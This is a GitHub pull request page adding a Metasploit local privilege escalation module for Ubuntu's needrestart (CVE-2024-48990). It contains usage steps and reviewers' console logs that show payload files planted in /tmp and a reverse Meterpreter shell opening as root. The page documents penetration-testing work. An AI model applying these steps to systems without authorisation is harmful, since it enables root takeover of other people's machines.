Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ubuntu needrestart LPE (CVE-2024-48990) #19676

Merged
merged 9 commits into from
Jan 10, 2025
Merged

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Nov 22, 2024

Fixes #19675

Exploits needrestart on Ubuntu. Debian and Fedora put out patches, but after putting minor effort into testing them and a bunch of PoCs on github, I gave up trying to make it work. If someone wants to expand this module, be my guest. Happily working on Ubuntu though!

Verification

  • Install the application
  • Start msfconsole
  • Get an initial shell
  • Do: use exploit/linux/local/ubuntu_needrestart_lpe
  • Do: set lhost <ip>
  • Do: set lport <port>
  • Do: set session <session>
  • Do: run
  • You should get a root shell.

@h00die h00die changed the title Ubuntu needrestart LPE (CVE-2024-48990) WIP: Ubuntu needrestart LPE (CVE-2024-48990) Nov 25, 2024
@h00die h00die marked this pull request as ready for review November 27, 2024 20:57
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thank you @h00die ! I just left a couple of comments for you to review when you get a chance.

modules/exploits/linux/local/ubuntu_needrestart_lpe.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ubuntu_needrestart_lpe.rb Outdated Show resolved Hide resolved
@h00die h00die changed the title WIP: Ubuntu needrestart LPE (CVE-2024-48990) Ubuntu needrestart LPE (CVE-2024-48990) Nov 28, 2024
@dledda-r7 dledda-r7 self-assigned this Dec 5, 2024
@dledda-r7
Copy link
Contributor

dledda-r7 commented Dec 9, 2024

Hello @h00die, I am trying the module against an Ubuntu 22.04.
This is the package I installed.

ii  needrestart                                3.5-5ubuntu2.4

However the target looks not vulnerable, with set verbose true I didn't get any other information.

@h00die
Copy link
Contributor Author

h00die commented Dec 10, 2024

https://ubuntu.com/security/CVE-2024-48990

Fixed: 3.5-5ubuntu2.2

So definitely not vulnerable. Are you running the check method and not getting output?

@dledda-r7
Copy link
Contributor

dledda-r7 commented Dec 10, 2024

https://ubuntu.com/security/CVE-2024-48990

Fixed: 3.5-5ubuntu2.2

So definitely not vulnerable. Are you running the check method and not getting output?

ouch, last number was different! not sure if I can get that version from apt gonna try now...

EDIT

Ok so, I've installed the vulnerable version of needrestart, however I am having some issue to trigger the vulnerability.

msf6 exploit(linux/local/ubuntu_needrestart_lpe) > exploit

[*] Started reverse TCP handler on 172.30.226.46:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5.pre.5ubuntu2 detected on Ubuntu 22.04
[*] Writing '/tmp/.6q2zZX8' (250 bytes) ...
[*] Uploading payload: /tmp/.6q2zZX8
[*] Creating directory /tmp/importlib
[*] /tmp/importlib created
[*] Uploading c_stub: /tmp/importlib/__init__.so
[*] Uploading py_script: /tmp/.UMzFtAjoc
[*] Launching exploit, and waiting for needrestart to run...

From metasploit side I see this, but on the target host when I do: sudo needrestart nothing happen, could be some configuration issue?

@dledda-r7 dledda-r7 removed their assignment Dec 13, 2024
@msutovsky-r7 msutovsky-r7 self-assigned this Dec 13, 2024
@h00die
Copy link
Contributor Author

h00die commented Dec 21, 2024

sorry, missed that there was an update/feedback!

@h00die
Copy link
Contributor Author

h00die commented Dec 21, 2024

From metasploit side I see this, but on the target host when I do: sudo needrestart nothing happen, could be some configuration issue?

When you do sudo needrestart it should pop up a progress bar saying something along the lines of 'scanning processes'. Your shell should execute at the end of that progress bar. Then it'll put a whole bunch of other things on the screen as well.
image

I just tried this exploit again on my 3.5.pre.5ubuntu2.1 detected on Ubuntu 22.04 and no issues.

Downgraded to 3.5-5ubuntu2 to mirror your setup, had no issues:

[msf](Jobs:2 Agents:1) exploit(linux/local/ubuntu_needrestart_lpe) > exploit

[*] Started reverse TCP handler on 1.1.1.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5.pre.5ubuntu2 detected on Ubuntu 22.04
[*] Writing '/tmp/.hGNEfOOOIq' (250 bytes) ...
[*] Uploading payload: /tmp/.hGNEfOOOIq
[*] Creating directory /tmp/importlib
[*] /tmp/importlib created
[*] Uploading c_stub: /tmp/importlib/__init__.so
[*] Uploading py_script: /tmp/.ImbZfQ5Cr
[*] Launching exploit, and waiting for needrestart to run...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[+] Deleted /tmp/.hGNEfOOOIq
[+] Deleted /tmp/importlib/__init__.so
[+] Deleted /tmp/.ImbZfQ5Cr
[+] Deleted /tmp/importlib
[*] chown: changing ownership of '/tmp/.hGNEfOOOIq': Operation not permitted
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
[*] 
[*]   Traceback (most recent call last):
[*]     File "/usr/lib/python3.10/site.py", line 192, in addpackage
[*]       exec(line)
[*]     File "<string>", line 1, in <module>
[*]   ImportError: dynamic module does not define module export function (PyInit_importlib)
[*] 
[*] Remainder of file ignored
[*] #########################
[*] 
[*] Dont mind the error message above
[*] 
[*] Waiting for needrestart to run...
[*] Meterpreter session 4 opened (1.1.1.1:4444 -> 2.2.2.2:46304) at 2024-12-21 13:04:51 -0500

(Meterpreter 4)(/home/ubuntu) > getuid
Server username: root

@msutovsky-r7 msutovsky-r7 removed their assignment Dec 30, 2024
@jheysel-r7 jheysel-r7 self-assigned this Jan 8, 2025
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @h00die. A couple suggestions. I think this is about ready to land 🚀

Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for making those changes!

msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.65:4545
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > [+] The target appears to be vulnerable. Vulnerable needrestart version 3.5.pre.5ubuntu2 detected on Ubuntu 22.04
[*] Writing '/tmp/.Ft9Ac1' (250 bytes) ...
[*] Launching exploit, and waiting for needrestart to run...
[*] Sending stage (3045380 bytes) to 192.168.1.71
[+] Deleted /tmp/.Ft9Ac1
[+] Deleted /tmp/importlib/__init__.so
[+] Deleted /tmp/.smfoWGc7lZ
[+] Deleted /tmp/importlib
[*] Meterpreter session 7 opened (192.168.1.65:4545 -> 192.168.1.71:53108) at 2025-01-09 16:59:40 -0800

msf6 exploit(linux/local/ubuntu_needrestart_lpe) > sessions -i -1
[*] Starting interaction with 7...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.1.71
OS           : Ubuntu 22.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

@jheysel-r7 jheysel-r7 merged commit 5374c7b into rapid7:master Jan 10, 2025
37 checks passed
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 10, 2025
@jheysel-r7
Copy link
Contributor

Release Notes

This adds a post module which exploits needrestart on Ubuntu, before version 3.8. It allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable.

@h00die h00die deleted the needrestart branch January 10, 2025 01:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Ubuntu needrestart LPE (CVE-2024-48990)
6 participants